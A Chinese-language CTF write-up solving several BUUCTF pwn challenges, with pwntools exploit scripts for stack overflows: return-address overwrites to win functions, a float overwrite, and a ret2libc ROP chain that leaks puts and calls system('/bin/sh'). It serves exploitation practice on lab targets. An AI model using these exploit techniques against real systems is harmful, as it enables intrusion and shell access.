拿到题目之后然后就checksec、file一下
发现是64位然后拉进64位IDA查看伪代码
进行代码审计,看到在程序的入口main函数下有一个fun函数,查看fun函数
简单的通过栈溢出覆盖rip即可
计算偏移
使用peda生成200个随机字符,运行输入,计算偏移
或者0xf + 0x8也可以
fun函数的地址为0x401186
payload为 ‘a’ * 23 + p64(0x401186)
最终exp
from pwn import *
#sh = process('./pwn1')
sh = remote('node3.buuoj.cn',29030)
sys_addr = 0x401186
payload = 'a' * 23
payload += p64(0x401186)
sh.sendline(payload)
sh.interactive()
文件进行检测后发现没开保护的64位程序,拖进IDA
通过字符串搜索看到了 cat /flag.txt的字符串,看到在main函数的上方有一个sub_40060D,发现cat falg.txt在这个函数中
地址为:0x40060d
我自己做的时候偏移是 0x40 + 0x8 因为是64位的程序,所以加8是72
做完之后看别的师傅的wp发现是通过cyclic生成200个随机字符来计算偏移
然后gef运行程序输入生成的字符串,根据小端序,’saaa’之前有多少个字符,就是偏移量
然后用cyclic -l saaa计算偏移量
看到偏移量为72
最终exp
from pwn import *
#sh = process('./warmup')
sh = remote('node3.buuoj.cn',26086)
sub_addr = 0x40 + 0x8
flag_addr = 0x40060d
payload = 'a'*(sub_addr)
payload += p64(flag_addr)
sh.recvuntil('>')
sh.sendline(payload)
sh.interactive()
拉进32位IDA 进行分析,看到了vuln的伪代码,发下输入的I都被替换为you,也就是说输入一个字符就会被替换为3个字符,运行下程序输入I
看到了get_flag的函数,看到了cat /flag.txt
所以我们要找的就是输入多少个I才能溢出
经过测试输入20个I的时候开始报错
get_flag地址为:0x8048f0d
最终exp
from pwn import *
sh = process('./pwn1')
#sh = remote('node3.buuoj.cn',27889)
s = 'a'*4
I_add = 'I' * 20
sys_addr = 0x8048f0d
payload = I_add
payload += s
payload += p32(sys_addr)
sh.sendline(payload)
sh.interactive()
拖进64位IDA进行程序分析,分析程序逻辑
审计代码可以看到,当v2 == 11.28125 的时候才能 cat /flag
但是v2的值为0,还有一个v1参数,v1和v2之间的距离只有0x2c,所以我们可以通过v1来覆盖,并填充11.28125 的值
但是我们不能直接发送这个数,可以看看源程序是怎么表达这个浮点数的。
exp
from pwn import *
#sh = process('./buu_ciscn')
sh = remote('node3.buuoj.cn',29748)
num_hex = 0x41348000
payload = 'a' * (0x2c)
payload += p64(num_hex)
sh.sendline(payload)
sh.interactive()
也是一道简单的栈溢出
是64位,所以 (0x80 + 8)
system(‘/bin/sh’)地址: 0x400596
exp
from pwn import *
#sh = process('./level')
sh = remote('node3.buuoj.cn',28035)
buf = 0x80 + 8
call_addr = 0x400596
payload = 'a' * buf + p64(call_addr)
sh.sendline(payload)
sh.interactive()
拿到题目拖进IDA进行分析,发现程序里没有system
也没有/bin/sh
,看到encrypt函数的get(s)存在溢出点。
传入的字符串会被异或运算,但是会被
strlen
给控制是否异或,我们可以采用\x00
截断strlen
获取的字符串长度来绕过
做题思路
利用
\x00
截断字符串,利用puts泄露libc地址,使用libc中的system
函数和字符串/bin/sh
来getshell
exp
# #-*-coding:utf-8
from pwn import *
#sh = process('./ciscn_2019_c_1')
sh = remote('node3.buuoj.cn',26935)
#context.log_level = 'debug'
elf = ELF('./ciscn_2019_c_1')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/home/ly0n/pwn/tools/libc6_2.27-3ubuntu1_amd64.so')
ret = 0x00000000004006b9
pop_rdi = 0x0000000000400c83
puts_plt_addr =elf.plt['puts']
puts_got_addr =elf.got['puts']
main_addr =elf.sym['_start']
payload = "a" + '\x00' + 'b' * 86
payload += p64(pop_rdi)
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil('Input your Plaintext to be encrypted')
sh.sendline(payload)
#数据接收 发现7f开始接收不足8位补0
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "puts:"
print hex(puts_addr)
base_addr = puts_addr-libc.sym['puts']
#system函数的真实地址
system_addr = base_addr+libc.sym['system']
#/bin/sh在libc文件内的地址
binsh_addr = base_addr+libc.search('/bin/sh\x00').next()
print "base:"
print hex(base_addr)
print "system:"
print hex(system_addr)
print "binsh:"
print hex(binsh_addr)
payload = 'a' +'\x00' + 'b' * 86
#我自己写的时候没有写这个ret的地址,远程服务器版本问题需要填充ret保证栈平衡
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil('Input your Plaintext to be encrypted')
sh.sendline(payload)
sh.interactive()